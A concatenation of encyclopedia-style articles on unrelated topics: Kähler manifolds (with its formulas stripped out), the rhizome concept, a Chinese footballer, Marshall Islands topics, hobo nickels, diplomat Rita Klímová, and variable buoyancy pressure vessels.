Let be an almost Hermitian manifold of real dimension and let be the Levi-Civita connection of . The following are equivalent conditions for to be Kähler:
is closed and is integrable,
,
,
the holonomy group of is contained in the unitary group associated to ,
The equivalence of these conditions corresponds to the "2 out of 3" property of the unitary group.
In particular, if is a Hermitian manifold, the condition dω = 0 is equivalent to the apparently much stronger conditions . The richness of Kähler theory is due in part to these properties.
References
Complex manifolds
Differential geometry
Riemannian geometry
Riemannian manifolds
Structures on manifolds |
A rhizome is a concept in post-structuralism describing a nonlinear network that "connects any point to any other point". It appears in the work of French theorists Deleuze and Guattari, who used the term in their book A Thousand Plateaus to refer to networks that establish "connections between semiotic chains, organizations of power, and circumstances relative to the arts, sciences and social struggles" with no apparent order or coherency. A rhizome is purely a network of multiplicities that are not arborescent (tree-like, or hierarchical, e.g. the idea of hypertext in literary theory) with properties similar to lattices. Deleuze referred to it as extending from his concept of an "image of thought" that he had previously discussed in Difference and Repetition.
As a mode of knowledge and model for society
Deleuze and Guattari use the terms "rhizome" and "rhizomatic" (from Ancient Greek ῥίζωμα, rhízōma, "mass of roots") to describe theory and research that allows for multiple, non-hierarchical entry and exit points in data representation and interpretation. In A Thousand Plateaus, they place it in opposition to an arborescent (hierarchic, tree-like) use of concepts, which works with dualist categories and binary choices. A rhizome works with planar and trans-species connections, while an arborescent model works with vertical and linear connections. Their use of the "orchid and the wasp" is taken from the biological concept of mutualism, in which two different species interact together to form a multiplicity (i.e. a unity that is multiple in itself). Hybridization and horizontal gene transfer are also rhizomatic in this sense.
Rather than narrativize history and culture, the rhizome presents history and culture as a map or wide array of attractions and influences with no specific origin or genesis, for a "rhizome has no beginning or end; it is always in the middle, between things, interbeing, intermezzo." The planar movement of the rhizome resists chronology and organization, instead favoring a nomadic system of growth and propagation.
In a rhizome, "culture spreads like the surface of a body of water, spreading towards available spaces or trickling downwards towards new spaces through fissures and gaps, eroding what is in its way. The surface can be interrupted and moved, but these disturbances leave no trace, as the water is charged with pressure and potential to always seek its equilibrium, and thereby establish smooth space."
Principles
Deleuze and Guattari introduce A Thousand Plateaus by outlining the concept of the rhizome (quoted from A Thousand Plateaus):
1 and 2. Principles of connection and heterogeneity: "...any point of a rhizome can be connected to any other, and must be";
3. Principle of multiplicity: it is only when the multiple is effectively treated as a substantive, "multiplicity", that it ceases to have any relation to the One;
4. Principle of asignifying rupture: a rhizome may be broken, but it will start up again on one of its old lines, or on new lines;
5 and 6. Principles of cartography and decalcomania: a rhizome is not amenable to any structural or generative model; it is a "map and not a tracing". They elaborate in the same section, "What distinguishes the map from the tracing is that it is entirely oriented toward an experimentation in contact with the real."
Arborescent
Arborescent () refers to the shape and structure of a tree. The postmodern philosophers Deleuze and Guattari used the term to characterize a certain type of thinking, exemplified by the western scientific model, where knowledge emanates from a single stem and ends in predetermined 'fruits'. The concept suggests a linear progress towards the truth, which they condemned as both unrealistic and stultifying to the imagination. It is contrasted with 'rhizomatic' thinking, which is open ended, has no central structure, and is constantly changing.
Arborescent thinking is marked by insistence on totalizing principles, binarism, and dualism. The term, first used (in western philosophy) in A Thousand Plateaus (1980) where it was opposed to the rhizome, comes from the way genealogy trees are drawn: unidirectional progress which enforces a dualist metaphysical conception, criticized by Deleuze.
Rhizomes, on the contrary, mark a horizontal and non-hierarchical conception, where anything may be linked to anything else, with no respect whatsoever for specific species: rhizomes are heterogeneous links between things. For example, Deleuze and Guattari linked together desire and machines to create the concept of desiring machines). Horizontal gene transfer is also an example of rhizomes, opposed to the arborescent evolutionism theory.
Deleuze also criticizes the generativism of Noam Chomsky, which he considers a perfect example of arborescent dualistic theory.
See also
References
Sources
Deleuze, Gilles and Félix Guattari. 1980. A Thousand Plateaus. Trans. Brian Massumi. London and New York: Continuum, 2004. Vol. 2 of Capitalism and Schizophrenia. 2 vols. 1972-1980. Trans. of Mille Plateaux. Paris: Les Editions de Minuit. .
Guattari, Félix. 1995. Chaosophy. Ed. Sylvère Lotringer. Semiotext(e) Foreign Agents Ser. New York: Semiotext(e). .
---. 1996. Soft Subversions. Ed. Sylvère Lotringer. Trans. David L. Sweet and Chet Wiener. Semiotext(e) Foreign Agents Ser. New York: Semiotext(e). .
External links
Rhizomes – Cultural Studies Online Journal.
Power of Networks – RSA Animate video on the "Power of Networks" by Manuel Lima (juxtaposes the tree vs. network approach).
Social networks
Social theories
Literary concepts
Philosophical analogies
Postmodern theory
Félix Guattari
Gilles Deleuze |
Liu Qing (; born 5 April 1986 in Qingdao) is a Chinese footballer currently playing for Qingdao Huanghai as a defender in the China League One.
Club career
Qingdao Jonoon
Liu Qing was at Shandong Luneng from 1997 to 2006 where he rose through and eventually graduated from their various youth teams. He was however unable to break into the senior team and did not make any senior appearances for them so Liu Qing would transfer to another Shandong team when he moved to Qingdao Jonoon in the beginning of the 2007 Chinese Super League season. He would make his debut against Hangzhou Greentown F.C. in Qingdao's first league game of the season on the 3rd of March, 2007 in a 1-1 draw. With them he would eventually play in 19 league games for them throughout the season and would participate in this team up to 2008.
Guizhou Renhe
Liu Qing transferred to top tier club Shaanxi Chanba at the beginning of the 2009 Chinese Super League season, however he would have to wait until July 14, 2010 before he made his debut in a league game against Shanghai Shenhua in a 2-1 victory. He would be a peripheral player for the next several seasons and at the beginning of the 2012 Chinese Super League season he would be part of the team which decided to move to Guizhou and renamed themselves Guizhou Renhe.
References
External links
Player stats at sports.sohu.com
1986 births
Living people
Chinese men's footballers
Footballers from Qingdao
Shandong Taishan F.C. players
Qingdao Hainiu F.C. (1990) players
Beijing Chengfeng F.C. players
Qingdao F.C. players
Chinese Super League players
China League One players
Men's association football defenders
21st-century Chinese people |
The following is an alphabetical list of topics related to the Marshall Islands.
0–9
.mh – Internet country code top-level domain for the Marshall Islands
A
Ailinginae Atoll
Ailinglaplap Atoll
Ailuk Atoll
Airports in the Marshall Islands
Arno Atoll
Atlas of the Marshall Islands
Attongtonganebwokwbwokw
Aur Atoll
B
Bikar Atoll
Bikini Atoll
Birds of the Marshall Islands
Bokak Atoll
Bucholz Army Airfield
C
Capital of the Marshall Islands: Majuro
Categories:
:Category:Marshall Islands
:Category:Buildings and structures in the Marshall Islands
:Category:Communications in the Marshall Islands
:Category:Economy of the Marshall Islands
:Category:Education in the Marshall Islands
:Category:Environment of the Marshall Islands
:Category:Geography of the Marshall Islands
:Category:Government of the Marshall Islands
:Category:History of the Marshall Islands
:Category:Marshall Islands-related lists
:Category:Marshallese culture
:Category:Marshallese people
:Category:Politics of the Marshall Islands
:Category:Society of the Marshall Islands
:Category:Sports in the Marshall Islands
:Category:Transportation in the Marshall Islands
commons:Category:Marshall Islands
Cities in the Marshall Islands
Climate of the Marshall Islands
Coat of arms of the Marshall Islands
Communications in the Marshall Islands
Compact of Free Association with the United States of America
Culture of the Marshall Islands
D
Demographics of the Marshall Islands
Diplomatic missions in the Marshall Islands
Diplomatic missions of the Marshall Islands
E
Eastern Hemisphere
Ebon Atoll
Economy of the Marshall Islands
Education in the Marshall Islands
Elections in the Marshall Islands
Enewetak Atoll
English language
Erikub Atoll
F
Flag of the Marshall Islands
Foreign relations of the Marshall Islands
G
Geography of the Marshall Islands
Government of the Marshall Islands
Gross domestic product
Gugeegue
H
Health care in the Marshall Islands
History of the Marshall Islands
I
International Organization for Standardization (ISO)
ISO 3166-1 alpha-2 country code for Marshall Islands: MH
ISO 3166-1 alpha-3 country code for Marshall Islands: MHL
ISO 3166-2:MH region codes for Marshall Islands
Internet in the Marshall Islands
Island countries
Islands of the Republic of the Marshall Islands:
Ailinginae Atoll
Ailinglaplap Atoll
Ailuk Atoll
Arno Atoll
Aur Atoll
Bikar Atoll
Bikini Atoll
Bokak Atoll
Ebon Atoll
Enen-kio Atoll
Enewetak Atoll
Erikub Atoll
Jabat Island
Jaluit Atoll
Jemo Island
Kili Island
Knox Atoll
Kwajalein
Lae Atoll
Lib Island
Likiep Atoll
Majuro Atoll
Maloelap Atoll
Mejit Island
Mili Atoll
Namdrik Atoll
Namu Atoll
Rongelap Atoll
Rongerik Atoll
Toke Atoll
Ujae Atoll
Ujelang Atoll
Utirik Atoll
Wotho Atoll
Wotje Atoll
J
Jabat Island
Jaluit Atoll
Jemo Island
K
Kili Island
Knox Atoll
Kwajalein
L
Lae Atoll
Law enforcement in the Marshall Islands
Legislature of the Marshall Islands
Lib Island
Likiep Atoll
Lists:
Diplomatic missions of the Marshall Islands
List of islands of the Marshall Islands
List of airports in the Marshall Islands
List of archipelagos
List of birds of the Marshall Islands
List of cities in the Marshall Islands
List of countries by GDP (nominal)
List of diplomatic missions in the Marshall Islands
List of island countries
List of island countries by area
List of island countries by population density
List of Marshall Islands-related topics
List of political parties in the Marshall Islands
M
Majuro, capital
Majuro Atoll
Maloelap Atoll
Marshall Islands
Marshall Islands International Airport
Marshallese language
MH – ISO 3166-1 alpha-2 and USPS country code for the Republic of the Marshall Islands
MHL – ISO 3166-1 alpha-3 country code for the Republic of the Marshall Islands
Mejit Island
Micronesia
Micronesia challenge
Mili Atoll
Military of the Marshall Islands
Music of the Marshall Islands
N
Namdrik Atoll
Namu Atoll
Nitijela, national legislature
North Pacific Ocean
Northern Hemisphere
O
Oceania
Outline of the Marshall Islands
P
Pacific Ocean
Political parties in the Marshall Islands
Politics of the Marshall Islands
President of the Marshall Islands
R
Rälik Chain
Ratak Chain
Religion in the Marshall Islands
Republic of the Marshall Islands
Rongelap Atoll
Rongerik Atoll
S
Scouting in the Marshall Islands
Small Island Developing States
T
Toke Atoll
Topic outline of the Marshall Islands
Transportation in the Marshall Islands
Tropical cyclones in the Marshall Islands
U
Ujae Atoll
Ujelang Atoll
Utirik Atoll
W
Wake Island
Wikipedia:WikiProject Topic outline/Drafts/Topic outline of the Marshall Islands
Wōdejebato
Wotho Atoll
Wotje Atoll
See also
List of international rankings
Lists of country-related topics
Topic outline of geography
Topic outline of the Marshall Islands
External links
Marshall Islands |
The hobo nickel is a sculptural art form involving the creative modification of small-denomination coins, resulting in miniature bas reliefs. The United States nickel coin was favored because of its size, thickness, and softness; but the term hobo nickel is generic, carvings having been made from many denominations. Because of its low cost and its portability, this medium was particularly popular among hobos, hence the name.
Early altered coins (1750s–1913)
The altering of coins dates from the 18th century or earlier. Beginning in the 1850s, the most common form of coin alteration was the "potty coin", engraved on United States Seated Liberty coinage (half dime through trade dollar) and modifying Liberty into a figure sitting on a chamber pot. This period was also the heyday of the love token, which was made by machine-smoothing a coin (usually a silver one, such as a Morgan dollar) on one or both sides, then engraving it with initials, monograms, names, scenes, etc., often with an ornate border. Hundreds of thousands of coins were altered in this manner. They were often mounted on pins or incorporated into bracelets and necklaces. The love-token fad waned in the early 20th century; love tokens engraved on buffalo nickels are rare.
During this period, hobo-style coin alteration also occurred outside the United States, primarily in Britain, France, and South Africa.
The Buffalo nickel
When the Indian Head nickel, or Buffalo nickel, was introduced in 1913, it became popular among coin engravers. The big Native American head was a radical departure from previous designs and would not be seen on any subsequent coins. The large, thick profile gave the artists a larger template to work on and allowed for finer detail.
On earlier coins, the head was much smaller in relation to the size of the coin. For example, on a Lincoln cent, the head covers about one sixth of the area; on the Buffalo nickel, about five sixths of the area. Moreover, the nickel is a larger coin. Large heads also adorn the Morgan dollar and the Columbian half dollar commemoratives of 1892–1893; but these coins were rarely altered, because of their high value.
Another factor contributing to the Buffalo nickel's popularity was the subject. Nearly all previous coins had depicted women (Liberty head nickels, Indian head cents, and Barber and Morgan silver dollars). A male head has larger, coarser features (nose, chin, brow), which can be altered in many ways. The buffalo on the reverse could be changed into another animal or a man with a backpack.
Classic old hobo nickels (1913–1940)
Many talented coin engravers, as well as newcomers, started creating hobo nickels in 1913, when the Buffalo nickel entered circulation. This accounts for the quality and variety of engraving styles found on carved 1913 nickels. More classic old hobo nickels were made from 1913-dated nickels than any other pre-1930s date.
Many artists made hobo nickels in the 1910s and 1920s, with new artists joining in as the years went by. The 1930s saw many talented artists adopting the medium. Bertram Wiegand, known almost exclusively as Bert, began carving nickels in the teens, and his student George Washington Hughes, known as Bo, began carving in the late teens (and up to 1980 when he vanished in 1981). During this period, Buffalo nickels were the most common nickels in circulation.
Later old hobo nickels (1940–1980)
The 1940s, 1950s, 1960s and 1970s were a transitional period for hobo coin engravers, during which the Buffalo nickel was gradually replaced by the Jefferson nickel. Some veteran nickel carvers such as Bo and Bert continued making hobo nickels in the classic old style. Bo, in fact, did his best work in the early 1950s, when he carved many spectacular cameo portrait hobo nickels.
During this 40-year period, many new carvers appeared, and style and subject matter became decidedly modern. Subjects became more ethnically and socially diverse (e.g., a Chinese woman with triangular hat, hippies with long hair and glasses, men wearing floppy hats, etc.). Some of these new artists used new techniques such as power engravers, vibrating tools, and felt marker pens to add color to hair.
By the end of the 1970s, most Buffalo nickels had disappeared from circulation, and the majority of engravings were performed on worn coins. Bo, for example, was forced to obtain Buffalo nickels from coin dealers, some of whom commissioned carvings.
Modern hobo nickels (since 1980)
Many carvers who were active during the 1960s and 1970s continued carving Buffalo nickels into the 1980s. Their coins were altered using punches (dashes, dots, arcs, crescents, stars) and some carving of the profile. The area behind the head is usually rough from dressing with a power tool. They created standard design hobo nickels (derby and beard), as well as many modern subjects, such as occupational busts (fireman, railroad engineer, pizza chef), famous people (Uncle Sam, Albert Einstein), hippies, and others.
A major event occurred in the early 1980s, demarcating the transition from "old" to "modern" hobo nickels. This was the publication of a series of articles by numismatist Del Romines on the subject of hobo nickels. He soon published the first book on the subject, Hobo Nickels (ASIN B0006R7SFW), in 1982. Both centered on Bo and his carvings.
This resulted in some new artists entering the field, most of whom simply copied Bo's nickel artwork from the illustrations in Romines's book. The two major Bo-style copycats were John Dorusa and Frank Brazzell. Together, they produced 20,000 or more modern carved nickels, most of which were copies of Bo's designs. Dorusa even copied Bo's "GH" signature (for "George Hughes") on many of this early creations. Pressure from prominent hobo nickel collectors such as Bill Fivaz convinced Dorusa to stop carving "GH" and put his own initials or name on his works. Dorusa and Brazzell also produced original works, featuring non-traditional subject matter (conquistadors, Dick Tracy, skulls, etc.). The large number of Bo copies led many collectors to label all modern carved nickels as "Neo-Bo's", a term no longer in use.
Other carvers such as "Cinco de Arturo" (Arturo DelFavero) also appeared in the 1980s and 1990s, introducing more modern subject matter (cartoon characters, witches, and animals). Most nickel carvers of the 1980s to mid-1990s are regarded by collectors as mediocre at best, but circa 1995, Ron Landis, an engraver in Arkansas, began creating superior quality carvings.
For about four years, Landis was the only nickel carver creating superior carvings, at the rate of only one to two dozen per year (all signed, numbered, and dated). Many other professional engravers have since begun creating hobo nickels. Landis and "Cinco de Arturo" are two of four known living artist practicing this craft prior to the year 2000. The others are Sonny Carpenter, and Bill Jameson (Billzach), All four are considered superior carvers, and ground breakers that inspired the current renaissance.
Some current prolific carvers are converting from quantity to quality, making fewer pieces of high artistic quality (as the market is flooded with lower quality quickly-made carvings). Modern carvings of superior quality sell for about the same prices as classic old original carvings of equal quality by unknown artists.
From the early 1980s to the present, modern lesser-quality carvings could and still can be purchased for as little as $5 to $10 each. Many new collectors found it hard to obtain good-quality old original hobo nickels (as they are so scarce and costly), so they began collecting the readily obtainable and inexpensive modern works.
About 100,000 (and possibly as many as 200,000) classic hobo nickels were created from 1913 to 1980. Modern artists have created (and continue to create) altered nickels in such large quantities that, within the next few years, the number of modern carvings is expected to surpass that of classic old hobo nickels. Most of the 100,000-plus classic old hobo nickels are not yet in the hands of collectors, whereas almost all modern carvings are. Among numismatists, the modern carvings already greatly outnumber the classic old hobo nickels.
See also
Trench art
References
Stephen P. Alpert. Hobo Nickel Guidebook. 2001, 122 pages.
Bill Fivaz. "Reverse Carvings on Hobo Nickels". Nickel News, Fall 1987.
Delma K. Romines. Hobo Nickels. Newberry Park, CA: Lonesome John Publishing Co., 1982, 106 pages.
Joyce Ann Romines. Hobo Carvings: An Exclusive Upgrade of Hobo Nickel Artistry. 1996, 108 pages.
Michael Wescott with Kendall Keck. The United States Nickel Five-Cent Piece: History and Date-by-Date Analysis. Wolfeboro, NH: Bowers & Merena, 1991.
External links
Original Hobo Nickel Society, numismatic community interested in carved coins, primarily 1913-1938 Buffalo nickels. Both classic carved nickels and recent carved nickels are generically called "hobo nickels".
SSoIH Carver's Database, Hobo Nickel Carver Signature Search. Searchable database of carver signatures and examples of their work.
Nickel Carver's ShowCase, a collection of photos showing individual carvers and examples of their carvings where available. Includes currently active carvers, known classic carvers and "nicknamed" classic carvers.
Alpert's Artist Galleries, an expanded and updated online version of Steve Alpert's Hobo Nickel Guidebook.
Five-cent coins of the United States
Exonumia
Hoboes
Sculpture techniques
Reliefs |
Rita Klímová, née Rita Budínová (10 December 1931 – 30 December 1993) was a Czech economist and politician. She was Czechoslovakia's ambassador to the United States before that country's breakup in 1992.
Early life
Klímová was born in Romania. Her father was Stanislav Budín (née Bencion Bať), a prominent Communist writer who used the pen name Batya Bat. Due to their Jewish ancestry, her family fled to the United States not long after Nazi Germany invaded Czechoslovakia in 1939. She settled in New York City in 1939, returning to Czechoslovakia in 1946 to finish her education. As a result, for the rest of her life she spoke American English with an "industrial-strength" New York accent.
Academic career
Like many Central Europeans of her generation, Klímová was initially an ardent Communist. She joined the Communist Party of Czechoslovakia in 1948. While still a university student, she took a job in a factory in order to get closer to the working class. Also while still in school, she married the intellectual Zdeněk Mlynář.
After graduation, she rose high in the academic world, becoming an economics lecturer at Charles University. Initially a strict Stalinist, she helped purge many of her more liberal colleagues from Charles University during the 1950s and early 1960s. However, during the Prague Spring of 1968, she was very attracted to Alexander Dubček's reform program and helped supply inside information to the Western media. She continued to support reform after the Warsaw Pact invasion of Czechoslovakia, and was fired from her university post and expelled from the party in 1970.
Dissident
Like many prominent academics who supported the Prague Spring, Klímová found it all but impossible to have a livelihood for much of the Normalization era. She eventually found work as a translator, but lost that job in 1977 after her father, who had also become disillusioned with Communism, signed Charter 77. Years later, she said that she wanted to sign as well, but Mlynář (who had divorced her in 1967) told her they didn't want her signature.
During the 1970s and 1980s, she became one of the more prominent Czechoslovak dissidents, and one of the main contacts between the dissidents and the Western media. She frequently hosted meetings of dissident economists in her apartment. One of the attendees was future Czech prime minister and president Václav Klaus. By this time, she had become convinced of the need to adopt a market economy; she wrote many samizdat articles on economic matters under the pen name "Adam Kovář"—Czech for Adam Smith.
She became a household name during the Velvet Revolution, when her longtime friend Václav Havel asked her to translate for him. Havel was looking for someone who could convey Civic Forum's message to English-speaking audiences. Havel believed that since Klímová spoke American English, she'd play very well with American audiences. Havel himself spoke very good English, but thought his accent would be too thick for English speakers to understand. She was actually the first person to coin the term "Velvet Revolution."
Ambassador to the United States
Just months after the collapse of the Communist government, newly sworn in Foreign Minister Jiří Dienstbier, another longtime friend, asked Klímová to become the new government's ambassador to the United States, even though she had no diplomatic experience.
During her tenure, she did much to win support for the democratizing regime. She resigned in August 1992, four months before her country's breakup.
Death
Klímová was diagnosed with leukemia not long after taking up her ambassadorial post. She finally died of the disease on 30 December 1993. She is buried at the Jewish cemetery in Telč.
References
1931 births
1993 deaths
Czechoslovak economists
Czech women economists
Czech translators
Czech Jews
People of the Velvet Revolution
Czechoslovak democracy activists
Czechoslovak women diplomats
Ambassadors of Czechoslovakia to the United States
Charles University alumni
Academic staff of Charles University
Communist Party of Czechoslovakia politicians
Deaths from leukemia
Czech women ambassadors
20th-century translators
People from Iași |
A variable buoyancy pressure vessel system is a type of rigid buoyancy control device for diving systems that retains a constant volume and varies its density by changing the weight (mass) of the contents, either by moving the ambient fluid into and out of a rigid pressure vessel, or by moving a stored liquid between internal and external variable volume containers. A pressure vessel is used to withstand the hydrostatic pressure of the underwater environment. A variable buoyancy pressure vessel can have an internal pressure greater or less than external ambient pressure, and the pressure difference can vary from positive to negative within the operational depth range, or remain either positive or negative throughout the pressure range, depending on design choices.
Variable buoyancy is a useful characteristic of any mobile underwater system that operates in mid-water without external support. Examples include submarines, submersibles, benthic landers, remotely operated and autonomous underwater vehicles, and underwater divers.
Several applications only need one cycle from positive to negative and back, to get down to depth and return to the surface between deployments, others may need tens to hundreds of cycles over several months during a single deployment, or may need near continuous but very small adjustments in both directions to maintain a constant depth, or neutral buoyancy at changing depths. Several mechanisms are available for this function, some are suitable for multiple cycles of variation between positive and negative buoyancy, others must be replenished between uses, and their suitability depends on the required characteristics for the specific application.
Uses of variable buoyancy diving systems
Variable buoyancy is a useful characteristic of any mobile underwater system that operates in mid-water without external support, and as such these systems are a major research topic in the field of underwater vehicles. Examples include submarines, submersibles, benthic landers, remotely operated and autonomous underwater vehicles, and ambient pressure and single atmosphere underwater divers.
A submarine can closely approach equilibrium when submerged, but have no inherent stability in depth. The sealed pressure hull structure is usually slightly more compressible than water and will consequently lose buoyancy with increased depth. For precise and quick control of buoyancy and trim at depth, submarines use depth control tanks (DCT) due to their function of controlling buoyancy and thereby depth)—also called hard tanks (due to their ability to withstand higher pressure), or trim tanks (due to their function of controlling trim). These are variable buoyancy pressure vessels. The amount of water in depth control tanks can be controlled to change the buoyancy of the vessel so that it moves up or down in the water column as a consequence of unbalanced buoyancy forces, or to maintain a constant depth as outside conditions (mainly water density) change, and water can be pumped between trim tanks to control longitudinal or transverse trim without affecting buoyancy.
The operating depth of underwater vehicles can be controlled by controlling the buoyancy, either by changing the overall weight or the displaced volume, or by vectored thrust. Buoyancy can be controlled by changing the overall weight of the vehicle at constant volume, or by changing the displaced volume at a constant vehicle weight. The resulting buoyancy is used to control heave velocity and hovering depth, and in underwater gliders a positive or negative net buoyancy is used to drive forward motion.
The Avelo scuba system uses a variable buoyancy pressure vessel, which is both the primary breathing gas cylinder and the scuba buoyancy compensator, with a rechargeable battery powered pump and dump valve unit which is demountable from the cylinder.
Variable buoyancy systems have been considered for depth control of tethered ocean current turbine electrical generation.
The type of variable buoyancy system best suited to an application depends on the precision of control required, the amount of change needed, and the number of cycles of buoyancy change necessary during a deployment.
Types of variable buoyancy systems
Several types of variable buoyancy system have been used, and are briefly described here. Some are based on a relatively incompressible pressure vessel, and are nearly stable with variation of hydrostatic pressure.
Ambient pressure buoyancy/ballast tanks (unstable with depth change), such as the main ballast tanks on a submarine, or an inflatable diver's buoyancy conpensator These are not pressure vessels, as the contents are at ambient pressure.
Weight discharge variable mass system. This is generally a system by which ballast of higher density than the surroundings is discharged, and once discharged the ballast is lost. The system is simple and appropriate for vehicles that only need to make a very limited number of buoyancy adjustments during a deployment.It is a common method of achieving positive buoyancy in an emergency as it is simple to arrange a fail-safe discharge mechanism. An analogous system for releasing fixed low density material is also possible. These are also not pressure vessels as the weights or incompressible buoys are stored at ambient pressure.
One-way tank flood variable mass system. This is simply an empty tank that can withstand external working pressure, and can be partly or completely flooded by a control valve. The tank can be drained again at the surface for subsequent dives, but not while under pressure during a dive.
Pumped oil, constant mass, variable volume system. This method uses more power but is indefinitely repeatable while power lasts, as it does not discharge any consumables. A positive displacement pump transfers oil stored in a variable volume container inside a gas filled pressure vessel to an external variable volume container, incompressibly increasing the displaced volume of the vehicle. Return transfer may be by pressure difference controlled by a valve, or also pumped.
Piston-driven oil, constant mass, variable volume system. This works very similarly to the pumped oil system, but the internal storage is in a cylinder with a piston which decreases or increases its volume using a mechanical drive, typically powered by an electric motor. In effect the piston acts as a pump.
Pumped water variable buoyancy system. Ambient water is moved into and out of the pressure vessel to change the overall density of the vessel, and thereby of the vehicle of which it is a component. In one direction this transfer may be possible by pressure difference, but in at least one direction it must be pumped. The process is repeatable while power lasts, as the ballast is drawn from the surroundings.
Mechanism
A buoyancy tank that is within the pressure hull of the vehicle, as in a submarine, will be exposed to the internal pressure of the vehicle, so external pressure loads on the tank may be relatively low. In this case the ballast water transfer into the tank may not require pumping, though a positive displacement pump may still be useful to accurately control the volume of water admitted. Discharge of ballast water is against the external pressure, which will depend on depth, and will generally require significant work.
If the buoyancy tank is directly exposed to the ambient hydrostatic pressure, the external load due to depth can be high, but if the internal gas pressure is high enough, the pressure difference will be lower, and the pressure vessel is not subjected to high net external pressure loads which can cause buckling instability, which can allow a lower structural weight. In the extreme case the internal pressure is high enough to rapidly eject the water ballast at maximum operational depth, as in the case of the Avelo integrated diving cylinder and buoyancy control device. A pump is used to move ambient water into the pressure vessel against the internal pressure, compressing the gas further in proportion to volume decrease, so the entire internal volume is not available to hold ballast, as although the gas will decrease in volume, there will always be some gas volume remaining. The water and air in the pressure vessel may be separated by a membrane, diaphragm, free piston, or bladder to prevent pumping out air in some orientations, and to prevent the air from dissolving in the ballast water under high pressure.
See also
References
Diver buoyancy control equipment
Buoyancy devices
Pressure vessels |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.